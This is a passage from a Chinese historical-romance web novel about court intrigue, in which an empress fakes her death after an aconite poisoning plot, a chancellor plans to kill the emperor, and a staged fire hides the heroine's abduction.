“你……你做什么?我是柳家的夫人,你的母亲,你敢对我动粗?” 柳舜华冷笑道:“凭你也配。往日我尊你敬你,不过是为了让芊芊脸上有光,如今她不在了,你算什么东西?” 孙氏气得满脸涨红,往日她们虽不亲近,但至少面上说得过去,如今她却如此出言不逊,当即仰头道:“你要做什么?芊芊尸骨未寒,你竟如此对她亲生母亲。” 柳舜华一步步逼近,眼中盛满怒火,攥住她的手腕,猛地一推,“你还有脸提芊芊?” 孙氏扑倒在桌案边,撞到边角,疼得嗷嗷大叫,“反了,反了,来人啊!” 柳舜华上前捏住她的下巴,冷声道:“我劝你最好安分点,若是再敢乱叫,我不介意让你永远也开不了口。” 孙氏想到方才管家拿着的棍棒,又见柳舜华眼中冒火,一副恨不得生吞了她的样子,吓得脸色惨白,“你到底要做什么,你父亲能容你在此放肆?” “父亲若知道你做的好事,只怕杀你都嫌不够。”柳舜华俯身,声音冷得让人发抖,“昨日你进宫,都做了什么?” 孙氏一愣,“芊芊诞下龙子,我去看看自己的女儿,有什么错?” 柳舜华顺势坐下,拿起一支柳棠华素日里戴过的簪子,划过桌案,“你要不再仔细想想。” 孙氏听出她话里的意思,也恼了,“你这话什么意思,我还能害我自己的女儿不成?昨日进宫,我还特意好心给她送了养荣丸,那药丸可是我花了近万钱,低三下四求来的。” 柳舜华眉头一挑,“养荣丸,哪里来的?” 孙氏支支吾吾不肯出声。 柳舜华反手将簪子抵在孙氏脖颈处,“我没时间同你耗,说。” 孙氏又怕又气,眼里噙泪,“我自己的女儿,我难道不心疼?我担心她产后失了宠,给她送些好东西,怎么就错了,竟还要被你这样疑心。” 柳舜华仿佛听到什么天大的笑话,“你心疼她?自我记事起,你整日一心扑在小弟身上,渴了饿了,冷了暖了,你样样周到。可你何曾好好待过芊芊,你知道她穿多大的鞋,什么身量吗?” 想到芊芊这些年受的委屈,她冷声道:“你当我不知,小弟就要回来了,你是为他的前程担忧。你怕以后芊芊失了宠,帮不上他,不是吗?” 孙氏心思被戳破,也不再掩饰,伸手拨弄着散下来的头发,盯着柳舜华,“是,我是疼儿子,那又怎样。芊芊她做了皇后,就应该帮衬着弟弟。大公子他受废帝信任,得罪了新帝,没捞到什么好处,那是他的事。我儿子是芊芊的亲弟弟,又没得罪新帝,凭什么不能有个好前程?” 她越说越激愤,“芊芊不过一个傻丫头,撞了大运做了皇后,她能得意到几时?将来若没有兄弟扶持,她能坐得稳皇后之位?就像我,为你父亲生儿育女,在柳家熬了几十年,看着所有人的脸色。若我兄长也能得高官厚禄,我至于那么多年,还只是个姨娘?” 静了片刻,眸中悲凉愈深,柳舜华缓缓摇头,“这些年,你在柳家是只有个姨娘的头衔没错,可柳家上上下下可曾苛待过你?衣食用度比照正房,儿女皆认你为母。说来说去,你还是看不上芊芊,就因为她是女子。芊芊能坐上皇后之位,靠的是与皇上患难与共,是她本就是个好姑娘。怎么到了你口中,倒成了天大的运气。孙氏,你根本就不配做她的母亲。” 说到芊芊,孙氏彻底没了底气,一瞬颓然,叹声道:“人都死了,说这些……还有什么意思。” “有什么意思?”柳舜华垂头,盯着她的眼睛,一字一句道:“你亲手毒死了芊芊,还问有什么意思?” 孙氏目眦欲裂,惊恐不定,摆动着双手,“你……你胡说。我没有害她,我怎么可能害自己的女儿。” 柳舜华语气陡然凌厉,“你还在撒谎,毒死芊芊的,就是那颗养荣丸。” “养荣丸?”孙氏梦游似的,“怎么可能,你骗我。我找人瞧过,芊芊也让太医鉴过,明明没有毒的。” 柳舜华冷冷道:“养荣丸本无毒,但里面含了一味附子,无色无味,遇水毒性大增。芊芊产后气血亏虚,那养荣丸本就是大补之物,又有附子在内,耗伤阴血。待太医发现时,已回天乏术。” 孙氏抬头,眼神朦胧,像在大雾中迷失了方向,“你说的都是真的?” 柳舜华扫了她一眼,“你知道我待芊芊如何,我没必要同你扯谎。事到如今,我只问你一句,那养荣丸,你是从哪里得的?” “葛氏这个贱人,”孙氏扶着桌案起身,双目猩红,咬着牙往外冲,“我要杀了她,我要将她千刀万剐。” 柳舜华一把扯过她,“是葛氏给你的,她又是从何处得来的?” “芊芊临盆之时,葛氏过来,说到产后保养,便给我推了养荣丸。说她这些年保持容颜不衰,便是在头胎吃了养荣丸,固住了元气。她还说,这养荣丸极其难得,便是当今丞相夫人,也曾服用此物,才得以盛宠至今。我一时鬼迷心窍,听信了她的话。”孙氏眼角闪过寒光,“我道她为何如此好心,贱人,竟要害我。” 果然,是程氏在背后出谋划策。 孙氏固然可恨,但到底是芊芊的生母。血脉相连,骨肉至亲,即便再如何刻薄势利,又怎会真狠下心去害自己的女儿? 可程氏偏偏利用了这一点。 她也曾是侧室,太清楚孙氏的软弱与不甘,知道如何撩拨一个母亲心底最隐秘的恐惧:怕女儿失势,怕自己回到从前,再无翻身之日。于是利用葛氏,让孙氏这个蠢货,攥着程氏递来的刀,亲手扎向自己的女儿。 程氏这一招,当真歹毒至极。 至于葛氏,无论她此次是受人蒙骗还是存心作恶,既敢与程氏沆瀣一气,来日清算时,她定不会手下留情。 柳舜华起身,推开沉重的木门。 外头下了雨,阴湿的水气扑面而来,院中的桂花雨中零落,碎金的花瓣混着泥水,凄艳地铺了一地。 “芊芊到底死在你手上。”柳舜华抬手将簪子掷于地上,清脆一响,“自行了断,或是在此终老,你自己选。” 木门“吱嘎”一声关上。 身后传来孙氏撕心裂肺的哀嚎,“芊芊!娘错了……娘真的错了啊……” 柳舜华漫不经心拂去肩上雨珠,对垂首而立的管家道:“传话出去,柳夫人痛失爱女,伤心过度,即日起闭门谢客,谁都不见。” 回府的路上,柳舜华望着无边黏腻的雨丝,心中发闷。 她问:“你觉不觉得,我太过绝情?毕竟,孙氏是芊芊的生母。” 贺玄度一笑,“你 就是太善了,才会觉得自己绝情。若是我,不当场拧断她的脖子,已是对她最大的仁慈。” 柳舜华笑了笑,心情似乎好了一些。 贺玄度垂头看着柳舜华,欲言又止。 半晌,他握住她的手,艰难开口,“蓁蓁,你要不要,先回凉州。我们……” 柳舜华看着他,目光无比坚定,“贺玄度,这是我们大家的选择,无论结果如何,咱们都要在一起。” 贺玄度摇头,眼底暗潮翻涌,“不,这次不一样。说都不知道贺玄晖记起了多少,我们并无必胜的把握。我总有种感觉,贺玄晖他……他好像有什么计划。我怕,蓁蓁我怕失去你。” 柳舜华攥紧他的手,“玄度,没人能将咱们分开。贺玄晖不能,天道也不能。生生世世,我只认你。” 椒房殿内,夜色如墨。 殿门紧闭,风掠过窗隙,卷起灵前垂落的铭旌,白幡翻飞如招魂之手。殿中仅烛火一盏,孤零零地立在柩前,火苗被风吹得忽明忽灭。 四下空寂,宫人们早已被屏退,偌大的殿内,唯余天子一人。 刘九生跪伏在灵柩前,确认人已散退,忙起身低唤一声,“芊芊。” 躺在棺椁中的柳棠华猛地睁开眼。 昨日,吃了母亲送来的养荣丸,她整个人便头疼不止。幸亏身旁的宫女当机立断出手,姐姐又及时赶到,她才侥幸捡回一条命。 姐姐说,她梦到了上辈子。 在姐姐的梦里,丞相夫人程氏为了将她女儿推上皇后之位,设计将她毒死。后九生有所察觉,引起丞相府忌惮。贺丞相决定先下手为强,利用贺玄晖大婚,引九生前往,意图将他诛杀在回宫途中。 她虽逃过此劫,但程氏既已对她动手,九生与丞相间隙必生。 贺丞相对九生动手,是迟早的事。 她惊得一身冷汗。 刘九生伸手将她扶起,端过一旁的肉粥,“芊芊,饿了吧,先吃点东西。” 柳棠华点头,接过肉粥。 刘九生望着她,看她一口气喝了个精光。 昨日,听闻芊芊出现血崩之兆,他如坠冰湖,整个人面如槁木。 贺玄度曾同他说过,柳舜华梦到的上辈子之事。 他原以为,梦中之事成了现实,他这辈子再也见不到她了。 直到看到芊芊完好无损地站在他眼前,一种劫后余生的庆幸,让他不受控制地浑身发颤。 他根本无法想象,没有芊芊,他要怎么活。 之前他想得太天真,他以为他能护得住她。到头来却发现,是自己将她带入这样危险的境地。 一想到她险些死在自己面前,他就再也无法继续等下去! 他想,上辈子他肯等,是因为芊芊已经不在了,他了无牵挂。 这辈子,他不能再让芊芊涉险。 他要想办法将芊芊送出去,远离这些纷争。 这个想法提出来的时候,贺玄度很支持。 程氏动手,丞相多疑,必不肯相信九生会轻易善了。为保全丞相府,他迟早会对九生下手。与其等丞相府筹备周全,倒不如将计就计,逼丞相府提前行动,打他一个措手不及。 贺丞相并不想明目张胆地造反,势必不会依靠军部力量,那他行动必定受限。 柳棠华听后,点头赞同。她不想同刘九生分开,也并非贪生怕死,只是贺玄度说服了她。 此举虽险,却并非毫无胜算。 刘九生看得鼻尖发酸,伸手帮她拭去嘴角的残渣,“芊芊,真是苦了你了。” 柳棠华扑哧一笑,“苦什么,这棺椁又大又舒服,我只需要躺着,不用应付那些人,不知多清闲。” 刘九生笑笑,“是吗,那我也试试。” 话音未落,他长腿一跨,翻身进了棺椁,就势躺下。 棺木虽宽,但两人并肩仍显拥挤,他的臂膀紧贴着她,温热透过衣料传来。 柳棠华侧眸瞧他,忍不住揶揄道:“皇上堂堂九五之尊,竟陪着我一起睡棺木,不觉得憋屈吗?” 刘九生将她抱在怀中,嗓音低沉:“有你在,我哪里会觉得憋屈。便是即刻被盖上棺盖,埋入黄土,我也心甘情愿。” 柳棠华心头一热,却故作嫌弃地推他:“去去去,谁要和你一起埋?我好不容易装死躲清静,你倒好,死也要来凑热闹。” 棺椁内光线昏暗,唯有几缕烛光透过缝隙渗入,映得她的眉眼格外柔和。他忽然低声问:“怕吗?” 柳棠华静了一瞬,摇头:“不怕,就是有些冷。” 刘九生闻言,毫不犹豫地解开外袍,裹住她的身子。 柳棠华没再说话,只是往他怀里缩了缩。 刘九生将她搂得更紧了些,贪婪地嗅着她熟悉的气息。 芊芊,此事若成,我不再受制于丞相,你我江山共享。若事败,天地辽阔,你……好好活着。 皇后薨逝的第三日,皇上终于离开椒房殿,召太史择吉日出殡。 程氏悬了几日的一颗心,终于落下。 宫内传来消息,太医诊断,皇后娘娘产后不足以致血崩。王嬷嬷从葛氏那里打听到,孙氏听闻皇后病逝,大受打击,一病不起。 皇后死了,没有人知道是她动的手。 她的女儿容暄,很快便会成为新的皇后。 第112章 第112章噩梦 被叫到书房的时候,程氏很得意。 皇后已薨逝,如今整个长安城,只有她的女儿才配得上后位。 相爷想必是找她商讨,何时送容暄进宫。 书房内,贺留善见到程氏进来,一双鹰目紧紧盯着她。 程氏被他的眼神吓了一跳,强自镇定道:“相爷唤我何事?” 贺留善脸色阴沉,也不绕弯子,“是不是你对皇后下的毒?” 程氏不可置信,惊愕抬头,脸上不断抽搐,“相爷,您……您说什么?” 贺玄晖轻叹一声,“母亲,此前我撞见你让王嬷嬷去买药,以为你病了,便让人去药铺查看。你让人买的,是附子。附子无色无味,入水剧毒,产后体虚之人慎用。” 他并未将梦中之事 告知任何人,包括他的父亲。皇后病逝后,他意识到母亲提前动手,为免日后被动,提前寻了个借口告知父亲。 贺留善冷声道:“是不是你,我要你亲口承认?” 程氏见事已暴露,垂着头,不敢再隐瞒,“是……是我。” 贺留善猛地一拍桌子,“你到底有没有脑子,竟然瞒着我去毒杀当朝皇后?” 程氏从未受过这般厉声呵斥,又是当着儿子的面,强撑着扬起下巴,“他刘九生都是你扶持上去的,对你俯首帖耳。一个皇后,杀就杀了,有什么关系。这皇后之位,本来就应该是我女儿的。” “愚蠢!”贺留善喉间滚出一声压抑的低吼,“简直愚不可及!” 程氏并不觉得自己做错了什么,但见贺留善大发雷霆,隐约意识到事情已经超出了控制,低垂着头不说话。 贺留善阖上双眼,又缓缓睁开,直直盯着她的眼睛,声音不悲不怒,“那万曼呢?” 万曼,是贺留善的原配,贺玄度生母的名讳。 听到这个熟悉的名字,程氏猛地抬头,面如死灰。 贺留善心中不住翻涌,胸口剧烈起伏,猛地咳嗽起来,“你什么都有了,为何还要杀她?” 程氏瘫软在椅子上,低垂着眉,声音柔婉,“相爷,我十五岁便跟了你,陪着相爷从寒门学子到如今位极人臣。我做的一切,不过是怕有朝一日,再不能站在相爷身侧。相爷是我的天,我不能忍受没有你。” 一滴清泪倏然滑落,程氏眼中水光潋滟,甚为凄楚。 贺留善眼前忽地浮现旧日景象,适逢大雨,她抱着食盒,在书院外等了两个时辰,单薄的春衫被雨水浸透,看到他,缓缓起身,盈盈一笑。 他的心一下又软了,无力挥了挥手,透着说不尽的疲惫,“你下去吧,这些日子,不要再出现在我面前。” 程氏埋头,眼中闪过一丝恨意。 万曼,死了都不安分,还想横在她与相爷之间。 名门闺秀,林下风致又如何,还不是敌不过她一滴泪。 看着她离去的背影,贺留善缓缓闭眼:“你母亲,真的被我惯坏了,才会如此不知天高地厚。” 贺玄晖叹了一声,上前道:“父亲,母亲是做错了。但既已成定局,事态紧急,咱们要好好应对才是。” 贺留善眼中一丝哀伤转瞬即逝,缓缓回过神。 丞相夫人毒杀皇后,世上没有不透风的墙,刘九生迟早会听到风声。 此前废帝,朝野上下嘴上不说,对他已颇有微词。如今推刘九生上位,武帝太子洗刷冤屈,他在朝中口碑才有所好转。若此时丞相夫人毒杀皇后之事公之于众,那他势必声名扫地。 刘九生与柳棠华鹣鲽情深,若是知晓此事,必不会放过贺家。若他借助朝中舆论,真对相府动手,纵使他权势滔天,想还手都寻不到理由。届时权力回到刘九生手中,相府只能任他宰割。 柳棠华的死,关系到朝廷局势,牵一发而动全身,相府已经没有退路。 贺留善凝眸道:“你母亲动手之事,可还有其他人知晓?那个柳夫人,会不会口风不紧?” 贺玄晖摇头:“柳夫人应当不知。我让人打听过,皇后薨逝第二日,二弟妹曾回府报丧。此后,她便一病不起,闭门谢客了。” 烛火晃动中,贺留善缓缓起身,半个身子埋在阴影里,“在事情暴露之前,必须先动手。刘九生,不能活。” 平阳王被禁三个月后,毫无意外地发现朝中局势明朗,贺留善权倾朝野,已无人能与他抗衡。 因彭城王一事,平阳王已彻底得罪新帝,再无获得荣宠的机会,迅速认清形势,开始向相府示好。 示好的诚意,便是刘妉柔。 刘妉柔被父亲逼着,约了几次贺玄晖。贺玄晖也不拒绝,两人心知肚明,应付着相府与平阳王府。 皇后大葬三个月后,丞相一病不起,太医署日日遣人问诊,带回的脉案却一次比一次沉重。 贺玄晖跪在未央宫殿前,求皇上赐婚,替丞相冲喜。 刘九生感念贺丞相扶持之功,特允。 贺玄晖与刘妉柔的婚期,定在下月初。 同上辈子一样,贺留善准备在贺玄晖婚礼上动手。 自那日贺玄晖主动找上她,半真半假地讲了个故事后,便沉寂许久。 她不知道贺玄晖到底是怎么想的,有没有放弃,她也不在乎。她只知他不是真心求娶刘妉柔,不过是想利用她,引皇上亲自参加婚礼。 若是不知也就罢了,可是刘妉柔喜欢的,明明是兄长。 兄长对刘妉柔也可谓用情至深,孑然一身,至今未娶。 只是,上辈子,直到刘妉柔出嫁,兄长并未有所举动,她摸不清兄长的想法,不好擅自行动。 贺玄晖大婚,干系重大,她不能阻止。但是,她要保全刘妉柔大婚之后安然无恙。若是寻个时机,见一见兄长,再好不过。 夜已深沉,贺玄度清浅的呼吸响在耳边。 柳舜华翻身,替他掖紧被子,打了个哈欠,沉沉睡去。 朦胧之间,她又梦到了前世。 相府来人提亲,兄长不置可否。 她对这个名满长安的大公子好奇,打听了贺玄晖的行踪,守在酒楼,想见见他。 桃花堆在枝头,将歇未歇。她坐在二楼,半开着窗,偷偷望向对面的贺玄晖。 花枝掩映中,男子一身银色锦袍,袖口绣着暗纹竹叶,清雅如画。 对面人不知说着什么,他微垂着头倾听,日光斜斜映在他侧脸,勾勒出一道温柔的轮廓。 似有所感,他抬眸,朝着她的方向回望。 她心头一跳,慌忙合窗,却听对面传来一声低笑,温润似玉,带着几分了然与纵容。 忽而风吹散桃花,落红成阵。 喜烛高燃,烛泪如血,她静静地躺在床上,穿着嫁他时的喜服,盖着个红盖头。 他握住她的手,温柔地叫着她的名字:“舜华,我知道错了,我不该惹你生气。” 有个女声尖利道:“彰儿,你疯了,她已经死了,死了。明日便是你大婚之日,你对着个死人做什么?” 他置若罔闻,伸手拿掉她脸上的红盖头,一具被烧成焦炭的脸赫然出现在面前。 “啊”的一声,凄厉的女声划破夜空。 柳舜华猛地睁开眼,从噩梦中惊醒。 她为什么会梦到这些? 天已经亮了,贺玄度已穿好外衣,正准备外出。见她起身,额上满是汗,走过去,伸手替她将汗拭去。 “怎么了,做噩梦了?”贺玄度轻声问。 柳舜华顺势扑在他怀中,抱着他的腰。 贺玄晖大婚迫在眉睫,丞相府动作频繁。找来死士假冒千机阁之人,秘密劫走一批彭城王一案涉事人员。意图杀掉刘九生后,将罪名安到彭城王旧党身上,然后扶持小皇子登基,继续做他的辅政大臣。 被救出来的这批人,就有刑风。贺玄度要来往周旋,这些日子早出晚归,几乎没闲着。 他拍着她安慰道:“我今日会早些回来,好好陪你。” 柳舜华缓缓平静,松开他,问:“那你今晚想吃什么,我让厨房准备。” 贺玄度想了想,“天冷,就吃暖锅吧,叫上大伙一起。” 柳舜华点头,笑道:“好,我让她们多准备些食材,等你回来一起吃。” 午后,柳舜华也出了门,直奔柳府。 马车行至点心铺子,柳舜华让车夫停了下来。 上次,她便是在此遇到了刘妉柔。 她方欲下车去买上几块莲蓬糕,便见一个熟悉的身影从铺子里走出。 是兄长。 柳桓安拿着糕点,步履匆匆,转身进了对面的酒楼。 柳舜华下车跟了上去,想要同兄长打个招呼,上了楼,只见兄长转头进入一间包房。 房门阖上的瞬间,她瞧见屋内一女子临窗而坐,正是刘妉柔。 柳舜华回到马车上,靠着车壁,闭上眼。 兄长这个时候去见刘妉柔,可见她在他心中分量。 他做事一向有分寸,既然肯来见她,必然是心中已经有了主意。他知道贺家会造反,定不会放任刘妉柔不管。 柳舜华对兄长,很放心。 “回去吧!”她对着车夫道。 芊芊被皇上秘密安置在宫外,由暗卫日夜守着。兄长与刘妉柔都是聪明人,自然也会有他们的解决方式。 柳舜华心中两块大石落下,整个人都轻快起来。 妙灵坐在小凳上,手里择着嫩绿的菜叶,抬头笑问:“少夫人今日怎么这般有兴致,竟要亲自下厨?” 柳舜华眉眼弯弯:“许久没和你们一块儿用膳了,今日咱们小酌几杯,好好热闹热闹。” 芳草将切好的肉放在盘中,闻言扑哧一笑:“小姐,你喝醉了是要发酒疯的,就不怕姑爷看你笑话。” 柳舜华抬手,将手掌伸进她脖颈内,芳草一个激灵,像只受惊的兔子跳到妙灵身后。 妙灵抿唇轻笑,把择好的菜放进盆中,用水仔细冲洗干净。 银纤姑姑跨进来,笑道:“大老远都听到你们在闹,快些上菜吧,锅已经摆上了。” 膳厅内,小火炉烧得正旺,铜锅中乳白的汤底咕嘟咕嘟冒着泡,蒸腾的热气裹着饭菜香弥漫开来。 落日余晖透过窗纸在青砖地上映着暖融融的橙红,茜纱窗外,冬日的暮色格外温柔。 柳舜华朝窗外望了望,朝屋外道:“洪声,你去西门瞧瞧,玄度怎么还没回来。” 正在院中忙活的洪声听罢,忙麻利地跑了出去。 几人说说笑笑,只等着贺玄度回来。 院内似乎响起脚步声,柳舜华以为贺玄度回来,心头一喜,忙起身相迎。才起身,便觉一阵天旋地转,整个人浑身无力,重新跌回椅中。 一阵不好的预感瞬间涌上心头,柳舜华强撑着抬眼望去,银纤姑姑已伏在桌上不省人事,芳草瘫软在地,妙灵正死死抓着桌沿。 她猛地咬破舌尖,血腥味在口中蔓延,剧痛让 她勉强保持清醒。 方想开口呼救,喉咙像被烈火灼烧,发不出半点声音。她只能挣扎着开门,试着将屋内之人往外拖。 直到将最后一人拖了出去,她无力地扶着门框。 还未喘一口气,后颈突然传来一丝凉意,针扎似的疼,她视野开始模糊,头一歪,倒了下去。 暮色四合,庭院里笼着一层淡金色的余晖,回廊下新换的灯笼已经点亮。 洪声催促道:“二公子,快些吧。少夫人等了你许久,已经饿得直打转了。” 周松跟在后面笑道:“我看,是你饿了吧。” 贺玄度将手中的腊梅递过去,“难得你勤快,待会先将这花插上。” 话音未落,远处突然传来撕心裂肺的喊叫:“火,起火了,起火了!” 刹那间,铜锣声、奔跑声、喊叫声乱作一团。 方才还静谧的庭院顿时炸开了锅,下人们提着水桶四处奔窜。灯笼的火光与远处冲天的烈焰交织,将夜空染得血红。 周松惊道:“膳厅,是膳厅。” 贺玄度心中骤然一紧,发疯似的朝膳厅奔去。 转过回廊,贺玄度呆呆地立在院外,膳厅已被火海吞噬,浓烟翻滚着喷涌而出,火舌已经舔上了房梁。 妙灵她们无力瘫软在廊下,脸色惨白地不停咳嗽着。 蓁蓁不在! “蓁蓁呢?”贺玄度冲过去,抓住妙灵的肩膀,声音嘶哑得不成样子。 妙灵颤抖着指向火场,泪水和烟灰混在脸上,“少夫人……少夫人把我们都拖出来,自己却……” 蓁蓁在里面,她还在里面。 未等听完,贺玄度毫不犹豫地朝火光中奔去。 周松一个箭步上前,死死抱住他的腰:“公子!房梁要塌了!您不能去!” “滚开,蓁蓁还在里面。”贺玄度暴喝一声,双目赤红如血,额角青筋暴起,一把将周松甩出,不管不顾地往前冲。 周松眼见拦不住,眼中闪过一丝决绝,飞身而起,一记手刀重重劈在他后颈。 贺玄度身形一滞,眼中的猩红还未褪去,便直直倒向周松肩头。 手中的腊梅缓缓从松开的指间滑下,跌落在地。 “对不住了,公子。”周松红着眼眶喃喃道,扛起昏迷的贺玄度转身就跑。 身后传来震耳欲聋的轰响,房梁终于不堪重负,带着熊熊烈焰,砸了下来。 火势蔓延得太快,连程氏都被惊动了,生怕牵连到其他院落,急忙遣了更多仆役前来救火。 一个时辰后,大火终于被扑灭。 家仆们在灰烬中不停翻找,终于在一处尚未完全烧毁的角落里,发现了那具蜷缩的躯体。 众人七手八脚地将那具焦黑的尸身抬了出来,小心翼翼地安放在膳厅前的空地上。 惨白的月光照在那具已经辨不出面容的尸身上,衣袍几乎被烧成灰烬,整个躯体黑黢黢的,像一块被烈火焚烧过的枯木。 贺玄度醒了过来,跌跌撞撞地扑到尸身前,双膝重重砸在地上。颤抖的手指悬在半空,却不敢触碰,生怕一碰她就会碎成齑粉。喉咙里发出野兽般的呜咽,泪水砸在焦黑的土地上。 “蓁……蓁……”他嘶哑地唤着,声音破碎得不成样子。 她说她梦到了前世,他死于一场大火,总是不住叮嘱他,要离火远一点。 她说今晚做暖锅,等着他回来一起吃。 她说等长安事了,就陪着他一起回凉州,自由自在,无拘无束。 …… 贺玄度心口像是有千万把刀,同时搅动着五脏六腑。 他为什么不早点回来?为什么不陪着她一起死? “啊……”一声撕心裂肺的哀嚎划破夜空,贺玄度匍匐在那具焦黑的尸身旁,像是要把自己也融进这片焦土里。 远处,那束早被遗忘的腊梅已化为灰烬,只有几片残瓣在夜风中打着旋儿,轻轻落在了蓁蓁的尸身旁。 贺玄度捡起飘落在地上的花瓣,轻轻放在柳舜华手中。 突然,他手一顿,猛地睁大双眼。 不对,不对,这不是蓁蓁。 第113章 第113章她一直在梦里? 蓁蓁的手,他握过一万次。 只看一眼,他便知道,这双手不是蓁蓁的。 尽管眼前的尸身穿着蓁蓁的衣裳,身形与蓁蓁一般无二,可她不是蓁蓁。 贺玄度瞬间从混沌的悲痛中清醒。 蓁蓁没有死,有人精心策划了这场假死。 他甚至不用细想,眼前就浮现出贺玄晖那张永远笑得温和的脸。 如此大的火,蓁蓁葬身火海的消息传出,程氏与贺容暄都亲自过来,贺玄晖却没有任何动作。 贺玄晖,他到底想做什么? 在即将迎娶刘妉柔,暗杀九生的关头,居然劫走蓁蓁。 若是为了制衡九生,想要多一重保障,他大可不必如此大费周折,何况明面上柳棠华已死,蓁蓁对于这场政变根本无关紧要。 贺玄度猛地睁大双眼,周松此前说过,贺玄晖曾让凉州刺史帮忙做一个假身份。 他想要替蓁蓁改头换面,以另一个全新的身份活着。 贺玄度攥紧双拳,霍然起身,声音依旧带着几分嘶哑,“来人,将少夫人送至正厅。” 程氏与贺容暄就站在院中,贺玄度经过她们身边时,程氏换上一副慈母做派,温声道:“你父亲他重病在床,彰儿在旁伺候,脱不开身。老二,你要节哀啊。” 贺玄度扫了她们一眼,大步离开。 程氏冷声道:“养不熟的狼崽子,父亲一病不起都未曾见他落过一滴泪。不过死了个女人,哭天喊地的,要了他的命一样。” 接二连三的变故,贺容暄的皇后梦彻底破碎。 与母亲不同,贺容暄自幼熟读经书,又得大儒教导,母亲毒杀皇后被父亲发现,父亲表现出的紧张,让她瞬间有了警觉。 她不熟悉刘九生,以为他与那些围着她打转的男子没什么不同,凭借自己的美貌与才情,一个小小的柳棠华,不足为惧。可皇后薨逝,刘九生先是悲痛之下,从椒房殿门前石阶上滚落摔伤了腿,又是一连三日宿在椒房殿,还被人发现衣衫不整地从棺椁中走出。 她开始意识到,这步棋,或许 是真的下错了。 这些日子,父亲病重,她日日前去请安,伺候在病榻前。外面都在传,贺丞相怕是时日不多了,可她知道,父亲是在装病。 她看得出来,丞相府表面风平浪静,实则波谲云诡,父亲与兄长,似乎在谋划什么。 兄长这些年一直不愿娶亲,如今突然就求皇上赐婚,这里面或许与父兄谋划之事有千丝万缕的联系。 她蹙眉,“柳舜华一死,府内便要办丧事,兄长婚期将近……” 程氏这才想起来这茬,“真是的,这个柳舜华,好死不死的,非要在这个节骨眼上。不行,我这就去见你父亲。” 正厅内,烛火昏黄,贺玄度坐在灯下,双目微阖,想着今日发生之事。 晨起出门时,确有几个鬼祟身影尾随,被周松带着绕了几道巷子才甩脱。回府途中,又有几个孩童突然窜到马车前,惊得马匹扬蹄嘶鸣,耽误些时辰。 如今想来,这一切大抵都是提前安排好的。 周松端着粥进来,见贺玄度坐着,小心翼翼递过去,“公子,后面要做的事,还多着呢,你可不能倒下,好歹吃点吧。” 贺玄度接过,大口大口地吃了起来。 周松怔了怔,他原不抱什么希望,以贺玄度的性子,这会根本吃不下任何东西。本以为要费尽唇舌相劝,未料他竟这般干脆。 吃完,贺玄度将碗推到一边,“可都问清楚了?” 周松回道:“问过了,说是屋内炭火烧得太旺,门窗又紧闭着,导致少夫人她们四肢乏力。大约是少夫人救人的时候太急,不小心踢翻了炉子,这才导致膳厅起火。” 贺玄度冷哼一声,“倒是天衣无缝,看来他已筹划多时了。” 周松道:“公子,你怀疑,是人为?” 贺玄度点头,“你不觉得,这一切都太巧了吗?” 周松细细一想,怒目道:“是不是程氏那个贼婆娘,竟敢如此明目张胆暗害少夫人,我真想今晚就去砍了她的头……” “急什么。”贺玄度淡淡打断,目光扫向厅中停放的那具焦尸。 周松顺着望去,见那焦黑躯体,一想到早上出门还活生生的人,一转眼成了一具焦炭,不觉湿了眼眶,“少夫人……她死得好冤啊!” 贺玄度眉头一皱,下意识地捂住口鼻,“实在太臭了,待会你寻些香来熏。” 周松目瞪口呆。 方才还哭天抢地的,恨不得随少夫人一起赴黄泉,这会居然嫌弃起来。 虽说人走茶凉,可这茶凉得也太快了。 贺玄度瞥了他一眼,“不是蓁蓁。” 周松心一凉,公子这是魔怔了。 贺玄度一看他表情,便知他在想什么,“蓁蓁食指与无名指齐长,我不会记错。” 周松凑近了去看,尸身食指略长于无名指。 他彻底傻了眼,“公子,这到底怎么回事?” 贺玄度凝眉,“应该是贺玄晖,除了他,没人会这么做。” 周松一惊,“大公子,他为何要抓少夫人?” 贺玄度脸色阴沉,没有说话。 他在想,蓁蓁现在究竟在哪。 贺玄晖婚礼在即,府内人多口杂,他必不会将人留在府中。 方才他已遣洪声去打听,这会他应该回来了。 果然,屋外一阵急促的脚步声,洪声走了进来。 贺玄度问:“打听清楚了,今日晚间可有什么东西抬出去?” 洪声喘着气,“傍晚时分,府内的确有几箱东西抬出去,说是大公子单独送给妉柔郡主的贺礼。” 他猜得不错,贺玄晖果然已经将蓁蓁转移。 待洪声退下,周松急道:“公子,你说少夫人现在会在什么地方,会不会已经被送出长安了?咱们要不要去找他对峙?” 贺玄度摇头,无凭无据地找上门,讨不到好处不说,反而会打草惊蛇。 还有,贺玄晖如此大费周章,设计让她假死,无非是想让蓁蓁换一个新身份,好遂了他那龌龊心思。只是,以蓁蓁的性子,必不会就范。贺玄晖定要亲自安抚,岂会这么快就将人送走? 不过,凡事皆有可能,事关蓁蓁,他不敢大意,“你让人通知凉州周边暗探,凡有可疑之人,一律扣下。” 周松退下后,屋内重归寂静。 贺玄度静坐良久,起身步入内室。 屋内黢黑,没有掌灯,他摸索着点燃烛台,一线微光颤颤巍巍地亮起。 恍惚间,他好像看到了蓁蓁。 暖榻之上,她披着雪白的狐裘,青丝半挽,在灯下翻着书,昏黄的光晕照在她身上,柔和得让人心安。 案台上,静静放着一块木牌,表面打磨得光洁圆润,平安的安字尚有一笔未完成,旁边还搁着她惯用的小刻刀。 他拿起木牌,指腹抚过光滑的木质纹理,有淡淡的木香,还有她独有的梅香。 一阵穿堂风过,烛火剧烈晃动,屋内空荡荡的,没有她。 寒意刺骨,贺玄度从未觉得这么冷过。 他颓然倒在榻上,缩蜷缩成一团,将木牌贴在脸上,目光黯淡而空洞。 渐渐地,涣散的目光开始凝聚,眼底似有寒霜蔓延,一寸寸冻结所有情绪,凝滞着一股势不可挡的杀意。 贺玄度猛地坐了起来。 整整一夜,贺玄度不眠不休,整理出相府名下所有田庄铺子私宅,让人秘密前去一一查看,不可有错漏。 第二日,贺玄度去了柳府。 皇后娘娘病逝的阴云还未消散,柳舜华葬身火海的消息又传来。 柳奉经受不住打击,整个人一僵,当场昏厥过去。 柳府亲族来了大半,聚在正厅,议论纷纷。 贺玄度拉着柳桓安去了书房,讲明原委。 柳桓安勃然大怒,面色青紫,“岂有此理,这个贺玄晖,真是荒谬至极。” 贺玄度道:“原本还想让他走得体面一点,如今看来,没这个必要了。” 柳桓安转头,贺玄度说得云淡风轻,神色自若,他却从中看出了一种冷酷到极致的漠然。 书房门被敲响,管家在外道:“大公子,您还是出去看看吧,二老爷在那闹呢。” 柳桓安开门,贺玄度紧随其后,跟着朝正厅走去。 